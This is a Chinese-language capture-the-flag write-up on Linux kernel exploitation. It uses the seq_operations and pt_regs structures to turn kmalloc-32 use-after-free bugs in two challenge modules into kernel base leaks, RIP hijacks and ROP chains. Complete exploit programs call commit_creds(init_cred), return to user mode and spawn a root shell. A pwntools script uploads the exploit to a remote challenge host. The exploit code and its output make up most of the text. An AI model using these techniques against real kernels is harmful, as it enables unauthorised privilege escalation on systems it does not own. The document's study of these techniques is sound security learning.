目录

Kernel Pwn Struct seq_operations and Struct pt_regs

当打开一个 stat 文件, 如 /proc/self/stat 时, 内核会从 kalloc-32 中分配一个 seq_operations (0x20), 这个结构体如下:

c

struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);
};

这个结构体在初始化的时候会写成内核的函数. 当我们去 read 这个文件时, 会调用 start 函数指针.

需要注意的是, stat 文件只能以只读模式打开.

如果有 kmalloc-32 的 UAF, 那么可以:

  1. leak kbase (r)
  2. hijack rip (w)

结构体在初始化时, 会把四个函数指针都写成内核函数地址, 所以可以关闭 kaslr 读一次, 获得偏移. 之后用偏移即可计算基地址

使用 read 去读文件时, 会调用 start 指针. 如果将指针覆盖, 便可以控制 rip. 如果可能, 还可以配合 pt_regs 结构体进行 ROP.

启动脚本:

sh

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -monitor /dev/null \
    -append "console=ttyS0 oops=panic panic=1 nokaslr quiet" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s

可以看到仅有 smep 保护.

init:

sh

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/module/kheap.ko
chmod 666 /dev/kheap 
chmod 600 flag

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

代码逻辑很简单, ioctl 如下:

c

__int64 __fastcall kheap_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  __int64 v4; // r12
  unsigned __int64 idx; // r12
  info request; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-20h]

  _fentry__(file, cmd, arg);
  v4 = v3;
  v8 = __readgsqword(0x28u);
  mutex_lock(&mutex_0);
  if ( !copy_from_user(&request, v4, 0x10LL) )
  {
    idx = request.idx;
    if ( request.idx <= 15 )
    {
      switch ( cmd )
      {
        case 0x10000u:
          if ( !list[request.idx] )
          {
            list[idx] = (char *)kmem_cache_alloc_trace(kmalloc_caches[5], 0xCC0LL, 0x20LL);// 0x20
            if ( list[request.idx] )
              goto LABEL_7;
          }
          break;
        case 0x10001u:
          if ( list[request.idx] )
          {
            kfree();
            list[request.idx] = 0LL;
            goto LABEL_7;
          }
          break;
        case 0x10002u:
          if ( list[request.idx] )
          {
            select = list[request.idx];
            goto LABEL_7;
          }
          break;
        case 0x6666u:
          copy_from_user(admin_info, request.buf, 0x80LL);
          break;
        default:
LABEL_7:
          mutex_unlock(&mutex_0);
          return 0LL;
      }
    }
  }
  mutex_unlock(&mutex_0);
  return -1LL;
}

其中 info request 结构如下:

c

struct info
{
  unsigned __int64 idx;
  char *buf;
};
  • 0x10000 从 kmalloc-32 中分配一个 object
  • 0x10001 kfree
  • 0x10002 把当前选择的 object 地址赋值给一个全局变量 select
  • 0x6666 向全局变量 admin_info 中写入内容

还实现了 read 和 write 如下:

c

ssize_t __fastcall kheap_read(file *file, char *buf, size_t len, loff_t *offset)
{
  unsigned __int64 v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  char *v7; // r13

  _fentry__(file, (_DWORD)buf, len);
  result = 0LL;
  if ( v4 )
  {
    v6 = v4;
    if ( v4 > 0x20 )
      return -1LL;
    v7 = select;
    _check_object_size(select, v4, 1LL);
    if ( copy_to_user(buf, v7, v6) )
      return -1LL;
    else
      return v6;
  }
  return result;
}

ssize_t __fastcall kheap_write(file *file, const char *buf, size_t len, loff_t *offset)
{
  unsigned __int64 v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  char *v7; // r13

  _fentry__(file, (_DWORD)buf, len);
  result = 0LL;
  if ( v4 )
  {
    v6 = v4;
    if ( v4 > 0x20 )
      return -1LL;
    v7 = select;
    _check_object_size(select, v4, 0LL);
    if ( copy_from_user(v7, buf, v6) )
      return -1LL;
    else
      return v6;
  }
  return result;
}

(ida 反出来有点问题, v4 是 rdx, 应该是 len)

可以看到这两个函数就是对选择的 (select 变量指向的) object 读写操作.

存在一个很明显的 UAF.

利用比较简单, 使用 seq_operations 结构体劫持 rip. 如果可以找到一个 gadget 把 rsp 改成可控的用户空间地址 (没 smap), 就可以进行 ROP 了.

首先调试一下, 看看到 start 这个位置时, 各个寄存器的状态, 有没有可控或者稳定的寄存器.

text

[   12.600893] general protection fault: 0000 [#1] SMP PTI
[   12.602850] CPU: 1 PID: 129 Comm: exp Tainted: G           OE     5.11.0-40-generic #44~20.04.2-Ubuntu
[   12.603378] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014
[   12.604064] RIP: 0010:0xdeadbeefdeadbeef
[   12.604999] Code: Unable to access opcode bytes at RIP 0xdeadbeefdeadbec5.
[   12.605335] RSP: 0018:ffffc9000019fdc0 EFLAGS: 00000246
[   12.605616] RAX: deadbeefdeadbeef RBX: ffffc9000019fe60 RCX: 0000000000000000
[   12.605882] RDX: 0000000000400cc0 RSI: ffff888005582730 RDI: ffff888005582708
[   12.606123] RBP: ffffc9000019fe18 R08: 0000000000001000 R09: 0000000000000000
[   12.606345] R10: ffff8880053e9000 R11: 0000000000000000 R12: 0000000000000000
[   12.606571] R13: ffff888005002a00 R14: ffff888005582730 R15: ffff888005582708

可以发现, rax 是 start 的值, 也就是我们写入的东西. rdx 稳定为 0x400cc0, r8 稳定为 0x1000, 还有些寄存器稳定为 0.

然后找一下 gadget, 非常幸运地找到了 0xffffffff8106f036 : mov esp, edx ; mov eax, r12d ; pop r12 ; pop rbp ; ret. 我们可以通过这个 gadget 去进行栈迁移到用户空间 0x400cc0. 0x400cc0 已经被程序占用了, 是个只读空间, 但是没关系, 用 mprotect 去把它权限改了, 就可以在上面构造 ROP 链了.

或者更通用的是用 xchg eax, esp ; ret, 因为 rax 我们是知道的, 而 xchg eax, esp 会将 rsp 的低 32 位赋为 rax 的低 32 位, 高位补 0. 这样 rsp 在用户空间, mmap 一下就可以写东西了. 这个方法可能更适用一些, 不依赖于其他寄存器环境 (没尝试过其他版本的 kernel rax 的值还是不是 start). 不过做题时还是得现场观察.

exp:

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define ALLOC  0x10000
#define FREE   0x10001
#define SELECT 0x10002
#define STACK  0x400cc0

size_t start_base                                   = 0xffffffff8133f980;
size_t init_cred                                    = 0xffffffff82c6b920;
size_t commit_creds                                 = 0xffffffff810ce710;
size_t mov_esp_edx_pop_r12_rbp_ret                  = 0xffffffff8106f036;
size_t pop_rdi_ret                                  = 0xffffffff8102517a;
size_t swapgs_restore_regs_and_return_to_usermode   = 0xffffffff81c00fc6;

size_t kernel_off = 0;

typedef struct inof_t {
    size_t idx;
    char* buf;
} info_t;

size_t seq_fd;
void pwn() {
    int fd = open("/dev/kheap", O_RDWR);
    info_t request;
    request.idx = 0;
    request.buf = calloc(0x20, 1);
    memcpy(request.buf, "0123456789ABCDEF0123456789ABCDE", 0x20);
    ioctl(fd, ALLOC, &request);
    ioctl(fd, SELECT, &request);
    ioctl(fd, FREE, &request);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    read(fd, request.buf, 0x20);
    size_t *tmp = (size_t *)request.buf;
    kernel_off = tmp[0] - start_base;
    printvar(success, "kernel_off", kernel_off);

    pop_rdi_ret += kernel_off;
    commit_creds += kernel_off;
    init_cred += kernel_off;
    swapgs_restore_regs_and_return_to_usermode += kernel_off;

    tmp[0] = mov_esp_edx_pop_r12_rbp_ret + kernel_off;
    write(fd, request.buf, 0x8);

    mprotect((void*)(STACK & ~0xfff), 0x1000, PROT_READ | PROT_WRITE);
    size_t *rop = (size_t *)STACK;

    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = swapgs_restore_regs_and_return_to_usermode;
    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = (size_t)getRootShell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    read(seq_fd, request.buf, 0xdeadbeef);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构:

c

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在系统调用的过程中, 不是所有的寄存器都会被改变, 比如 r8 - r15, 他们会在压入 pt_regs 的时保持 syscall 之前的值. 这就为我们提供了布置数据的可能性. 如果在仅能劫持 rip 的情况下 (比如上面介绍的 seq_operations), 跳转到某个形如 add, rsp val; ret 的 gadget, 那么就有可能将 rsp 设置到内核栈的 pt_regs 上, 从而执行我们布置的 ROP 链.

不过, 这里能够控制的连续空间可能比较小. 比如 rbp, rbx 可能不是 syscall 前的值了, 导致无法控制连续的内存; 或者没有让 rsp 跳到高处的 gadget; 或者压根就找不到能够到 pt_regs 上的 gadget (比如上一题的环境就找不到). 所以这并不是一个万能的方法.

所以我们需要布置尽可能少的 ROP 链, 让我们成功提权并成功回落用户态. 这里可以用 commit_creds(&init_cred) 来提权, 然后可以找 swapgs; iretq 这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可. 有没有 kpti 都可以这样. 这样一来, 我们最少只需要控制 5 个寄存器即可, 不过这 5 个不是连续的, 有一定的间隔. 如果间隔不满足, 可以尝试用 ret 跳一下.

具体还是需要调试, 抄一下 a3 师傅的调试板子.

c

__asm__(
       "mov r15,   0xbeefdead;"
       "mov r14,   0x11111111;"
       "mov r13,   0x22222222;"
       "mov r12,   0x33333333;"
       "mov rbp,   0x44444444;"
       "mov rbx,   0x55555555;"
       "mov r11,   0x66666666;"
       "mov r10,   0x77777777;"
       "mov r9,    0x88888888;"
       "mov r8,    0x99999999;"
       "xor rax,   rax;"
       "mov rcx,   0xaaaaaaaa;"
       "mov rdx,   8;"
       "mov rsi,   rsp;"
       "mov rdi,   seq_fd;"        // 这里假定通过 seq_operations->stat 来触发
       "syscall"
);

这个题给的文件系统是 ext4 镜像 (第一次接触, 差点整不会了). 用如下命令来挂载:

shell

mkdir ./rootfs
sudo mount -o loop rootfs.img ./rootfs

(进去以后没看到 init, 又一次傻了)

没有 init, 启动脚本在 /ect/init.d/rcS, 查看:

shell

#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/mmsg.ko
chmod 666 /dev/mmsg

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
# setsid cttyhack su ctf -c /bin/sh
setsid cttyhack setuidgid 1000 /bin/sh

poweroff -d 0  -f

可以看到模块挂在 /dev/mmsg, ko 和 flag 文件在 /root 里. 挂载的文件系统也遵守权限规则, 进入 /root 也要 root 权限. 把一些限制取消, 修改 uid gid 为 0, 方便做题.

之后卸载文件系统, 会把我们的修改保存. 卸载命令为:

sh

sudo umount ./rootfs

qemu 启动脚本如下:

sh

#!/bin/bash
qemu-system-x86_64 \
    -s \
    -m 256M \
    -cpu host,+smep,+smap \
    -smp cores=1 \
    -kernel bzImage \
    -hda rootfs.img \
    -nographic \
    -monitor none \
    -snapshot \
    -enable-kvm \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr quiet oops=panic panic=1" \
    -no-reboot 

开启 kaslr, smep, smap. 查看一下 kpti 应该也是开着的.

这题还给了源代码, 非常友好.

首先定义了两个结构体, 以及 ioctl 所用的请求数据结构体

c

struct mmsg_head {
        char description[16];
        struct list_head list;
};

struct mmsg {
        unsigned int token;
        int size;
        char *data;
        struct list_head list;
};

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data; 
};

根据题目提示, 简单看一下代码中涉及到的链表操作, 可以知道他是维护一个带有头节点的单向链表. 头就是 struct mmsg_head, 其他节点是 struct mmsg.

ioctl 支持的功能有:

  • alloc: kmalloc 一个 mmsg, 并根据 size kmalloc data 成员, 然后插入链表 (表头之后一个)
  • copy: 读取链表某个节点的 data
  • recv: 读取链表某个节点的 data, 并从链表中删除这个节点, kfree 它和它的 data
  • update: 更新某个节点的 data, kfree 原来的, kmalloc 新的
  • get desc: 读取 mmsg_head 的 desc 字符串
  • put desc: 修改 mmsg_head 的 desc 字符串

struct mmsg 中还有一些 token, size 变量, 但是与这题的利用无关, 就不详细说了.

可以发现, 在 copy 和 recv 的时候, 有如下代码:

c

        if (arg.top) {
            m = list_entry(&mmsg_head->list, struct mmsg, list);
        } else {
            m = find_mmsg(arg.token);
        }
        if (m == NULL || arg.size > MMSG_DATA_MAX || arg.size <= 0) {
            ret = -EINVAL;
            break;
        }

这里非常奇怪, 如果传入的 arg.top 不为 0, 那么就是取链表头. 而接下来的操作把它和链表的其他节点看成一样的了. 比如 recv 功能, 后续代码为:

c

        printk(KERN_INFO "mmsg recv\n");
        copy_to_user((void __user *)arg.data, m->data, arg.size);
        list_del(&m->list);
        kfree(m->data);
        kfree(m);
        break;

这就是漏洞所在. 这里有 kfree(m), 如果我们将表头 kfree 掉了, 就会造成 mmsg_head 这个全局变量指针悬挂. 同时我们有 get 和 put desc 的功能, 也就是能够读写前 0x10 个字节. struct mmsg_head 结构体大小是 0x20, 所以我们有 kmalloc-32 的 UAF, 并且能够读写其中前 0x10 个字节.

这里就可以用 seq_operations 了. 先读一下获得内核偏移, 然后写 start 函数指针, 劫持 rip. 开了 smap, 就无法像上一个例题一样, 用用户空间的栈了.

调试一下, 发现执行到 start 时, rsp 距离 pt_regs 0x160. 并且非常幸运找到了 add rsp, 0x168; ret 这样的 gadget, 刚好能够跳到 r14 上.

跳转后的栈
跳转后的栈

从上图还可以看到, 除了 0xffffc900001c7f88 处的 0x246 无法控制外, 从 60 到 a0 都是可以控制的. 并且可以找到如下 gadget:

swapgs; iretq
swapgs; iertq

于是只需要布置如下寄存器, 即可布置整个 ROP 链:

asm

mov r14,   pop_rdi_ret
mov r13,   init_cred
mov r12,   commit_creds
mov rbp,   swapgs_iretq
mov r8,    lowest_byte_not_4 ; 最低字节不为 4 即可

exp 如下:

c

// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data;
};

size_t start_base = 0xffffffff8120fac0;
size_t kernel_off = 0;
size_t add_rsp_0x168_ret = 0xffffffff81909b8c;
size_t pop_rdi_ret = 0xffffffff811aa376;
size_t init_cred = 0xffffffff8264c9a0;
size_t commit_creds = 0xffffffff8108d350;
size_t swapgs_iretq = 0xffffffff81c00ec6;

void pwn() {
    int mmsg_fd = open("/dev/mmsg", O_RDWR);
    struct mmsg_arg arg;
    arg.token = 1;
    arg.top = 1;
    arg.size = 16;
    arg.data = malloc(16);
    size_t *data_8 = (size_t *)arg.data;
    data_8[0] = 0x6161616161616161ll;
    data_8[1] = 0;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);
    ioctl(mmsg_fd, MMSG_RECV, &arg);

    int seq_fd = open("/proc/self/stat", O_RDONLY);
    ioctl(mmsg_fd, MMSG_GET_DESC, &arg);
    printvar(success, "start", data_8[0]);
    kernel_off = data_8[0] - start_base;
    printvar(success, "kernel off", kernel_off);

    add_rsp_0x168_ret += kernel_off;
    pop_rdi_ret += kernel_off;
    init_cred += kernel_off;
    commit_creds += kernel_off;
    swapgs_iretq += kernel_off;

    data_8[0] = add_rsp_0x168_ret;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);

    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   pop_rdi_ret;"
        "mov r13,   init_cred;"
        "mov r12,   commit_creds;"
        "mov rbp,   swapgs_iretq;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    user_sp;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   4;"        // 这里假定通过 seq_operations->stat 来触发
        "syscall"
    );
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}
疑惑
这个 exp 有概率 open stat 的时候没有在 kfree 的表头位置申请到, 导致利用失败. 不明白为什么.

第一次在比赛中做出 kernel 题, 还有个交互脚本也贴一下吧:

py

from pwn import *
from pwnlib.util.iters import mbruteforce
import hashlib
import base64
context(os='linux', arch='amd64')#, log_level='debug')

io = remote('61.147.171.107', 13374)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recv(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])

ru(b'sha256(')
pre = ru(b' + ')
nonce = mbruteforce(
    lambda s: hashlib.sha256(pre + s.encode()).hexdigest()[:5] == '00000',
    string.ascii_letters + string.digits,
    5,
    threads=16
)
sla(b'nonce:', nonce)

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())
try_count = 1
while True:
    sl('')
    for i in range(0, len(exp), 0x200):
        sla(b'/home/ctf $ ', b'echo -n "' + exp[i:i + 0x200] + b'" >> /tmp/b64_exp')
        log.info(f"{i} / {len(exp)}")
    sla(b'/home/ctf $ ', b'cat /tmp/b64_exp | base64 -d > /tmp/exploit')
    sla(b'/home/ctf $ ', b'chmod +x /tmp/exploit')
    sla(b'/home/ctf $ ', b'/tmp/exploit ')
    break

context.log_level='debug'
ia()

以及由于 glibc 编译出来的实在是太大了, 硬是没发完就超时了 (期间还触发了一次远程启动 qemu 的 py 脚本的 bug). 于是装了个 musl-gcc 来编译, 他要链接一下头文件. 命令如下:

sh

musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/